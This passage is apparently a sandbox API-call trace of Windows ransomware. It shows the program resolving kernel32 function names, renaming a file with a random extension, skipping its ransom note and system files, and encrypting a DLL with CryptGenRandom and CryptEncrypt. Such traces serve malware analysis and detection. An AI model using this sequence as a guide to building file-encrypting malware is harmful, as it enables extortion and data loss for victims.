lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0130.498] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0130.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0130.498] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0130.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0130.498] lstrlenA (lpString="CREATETHREAD") returned 12 [0130.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0130.498] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0130.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0130.498] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0130.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0130.498] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0130.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0130.498] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0130.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0130.498] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0130.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0130.498] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0130.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0130.498] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0130.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0130.499] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.YYDW8r") returned 51 [0130.499] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.YYDW8r" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.yydw8r"), dwFlags=0x0) returned 1 [0130.499] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.500] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.500] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.500] FindNextFileW (in: hFindFile=0x3b81280, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0130.500] lstrcmpiW (lpString1="SetupResources.dll", lpString2="DECRYPT-FILES.html") returned 1 [0130.500] lstrcmpiW (lpString1="SetupResources.dll", lpString2="autorun.inf") returned 1 [0130.500] lstrcmpiW (lpString1="SetupResources.dll", lpString2="boot.ini") returned 1 [0130.500] lstrcmpiW (lpString1="SetupResources.dll", lpString2="desktop.ini") returned 1 [0130.500] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat") returned 1 [0130.501] lstrcmpiW (lpString1="SetupResources.dll", lpString2="iconcache.db") returned 1 [0130.501] lstrcmpiW (lpString1="SetupResources.dll", lpString2="bootsect.bak") returned 1 [0130.501] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat.log") returned 1 [0130.501] lstrcmpiW (lpString1="SetupResources.dll", lpString2="thumbs.db") returned -1 [0130.501] lstrcmpiW (lpString1="SetupResources.dll", lpString2="Bootfont.bin") returned 1 [0130.501] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\") returned 27 [0130.501] lstrlenW (lpString="SetupResources.dll") returned 18 [0130.501] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1044\\" | out: lpString1="C:\\588bce7c90097ed212\\1044\\") returned="C:\\588bce7c90097ed212\\1044\\" [0130.501] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1044\\", lpString2="SetupResources.dll" | out: lpString1="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" [0130.501] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0130.501] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0130.501] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=17752) returned 1 [0130.501] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0130.501] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0130.688] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0130.688] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0130.688] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0130.689] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0130.689] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0130.690] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.690] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0130.690] CloseHandle (hObject=0x5f8) returned 1 [0130.690] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.690] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0130.692] CloseHandle (hObject=0x0) returned 0 [0130.692] CloseHandle (hObject=0x5f4) returned 1 [0130.693] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.693] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.693] GetTickCount () returned 0x360af [0130.693] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0130.694] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0130.694] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0130.694] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0130.694] lstrlenA (lpString="kernel32.dll") returned 12 [0130.694] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0130.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0130.695] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0130.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0130.695] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0130.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0130.695] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0130.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0130.695] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0130.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0130.695] lstrlenA (lpString="ADDATOMA") returned 8 [0130.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0130.695] lstrlenA (lpString="ADDATOMW") returned 8 [0130.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0130.695] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0130.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0130.695] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0130.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0130.695] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0130.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0130.695] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0130.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0130.695] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0130.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0130.695] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0130.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0130.695] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0130.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0130.695] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0130.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0130.695] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0130.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0130.695] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0130.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0130.696] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0130.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0130.696] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0130.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0130.696] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0130.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0130.696] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0130.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0130.696] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0130.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0130.696] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0130.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0130.696] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0130.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0130.696] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0130.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0130.696] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0130.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0130.696] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0130.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0130.696] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0130.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0130.696] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0130.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0130.696] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0130.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0130.696] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0130.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0130.696] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0130.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0130.696] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0130.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0130.697] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0130.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0130.697] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0130.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0130.697] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0130.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0130.697] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0130.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0130.697] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0130.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0130.697] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0130.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0130.697] lstrlenA (lpString="BACKUPREAD") returned 10 [0130.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0130.697] lstrlenA (lpString="BACKUPSEEK") returned 10 [0130.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0130.697] lstrlenA (lpString="BACKUPWRITE") returned 11 [0130.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0130.697] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0130.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0130.697] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0130.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0130.697] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0130.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0130.697] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0130.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0130.697] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0130.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0130.697] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0130.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0130.697] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0130.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0130.698] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0130.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0130.698] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0130.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0130.698] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0130.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0130.698] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0130.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0130.698] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0130.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0130.698] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0130.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0130.698] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0130.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0130.698] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0130.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0130.698] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0130.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0130.698] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0130.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0130.698] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0130.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0130.698] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0130.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0130.698] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0130.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0130.698] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0130.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0130.698] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0130.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0130.698] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0130.698] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0130.699] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0130.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0130.699] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0130.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0130.699] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0130.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0130.699] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0130.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0130.699] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0130.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0130.699] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0130.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0130.699] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0130.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0130.699] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0130.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0130.699] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0130.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0130.699] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0130.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0130.699] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0130.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0130.699] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0130.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0130.699] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0130.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0130.699] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0130.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0130.699] lstrlenA 